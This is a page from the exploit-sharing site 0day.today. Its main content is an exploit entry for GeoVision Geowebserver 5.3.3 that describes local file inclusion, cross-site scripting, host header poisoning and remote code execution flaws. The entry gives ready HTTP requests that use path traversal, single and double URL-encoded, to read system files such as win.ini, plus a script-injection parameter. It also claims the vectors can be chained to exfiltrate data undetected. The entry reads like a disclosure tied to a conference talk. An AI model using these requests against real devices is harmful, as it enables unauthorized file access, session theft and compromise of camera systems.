0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
GeoVision Geowebserver 5.3.3 - LFI / XSS / HHI / RCE Vulnerabilities
[# Exploit Title: GeoVision Geowebserver 5.3.3 - LFI / XSS / HHI / RCE # DynamicDNS Network to find: DIPMAP.COM / GVDIP.COM # Exploit Author: Ken 's1ngular1ty' Pyle # Vendor Homepage: https://www.geovision.com.tw/cyber_security.php # Version: <= 5.3.3 # Tested on: Windows 20XX / MULTIPLE # CVE : https://www.geovision.com.tw/cyber_security.php GEOVISION GEOWEBSERVER =< 5.3.3 are vulnerable to several XSS / HTML Injection / Local File Include / XML Injection / Code execution vectors. The application fails to properly sanitize user requests. This allows injection of HTML code and XSS / client side exploitation, including session theft: Nested Exploitation of the LFI, XSS, HTML / Browser Injection: GET /Visitor/bin/WebStrings.srf?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows/win.ini&obj_name=<script>test</script><iframe%20src=""> HTTP/1.1 Absolute exploitation of the LFI: POST /Visitor/bin/WebStrings.srf?obj_name=win.ini GET /Visitor//%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwindows\win.ini Additionally, the vendor has issued an ineffective / broken patch (https://www.geovision.com.tw/cyber_security.php) which does not appear to remediate or address the problem. Versions 5.3.3 and below continue to be affected. This is acknowledged by the vendor. ex. obj_name=INJECTEDHTML / XSS The application fails to properly enforce permissions and sanitize user request. This allows for LFI / Remote Code Execution through several vectors: ex. /Visitor//%252e(path to target) These vectors can be blended / nested to exfiltrate data in a nearly undetectable manner, through the API: The devices are vulnerable to HOST HEADER POISONING and CROSS-SITE REQUEST FORGERY against the web application. These can be used for various vectors of attack. These attacks were disclosed as part of the IOTVillage Presentation: https://media.defcon.org/DEF%20CON%2029/DEF%20CON%2029%20villages/DEFCON%2029%20IoT%20Village%20-%20Ken%20Pyle%20-%20BLUEMONDAY%20Series%20Exploitation%20and%20Mapping%20of%20Vulnerable%20Devices%20at%20Scale.mp4 # 0day.today [2024-11-15] #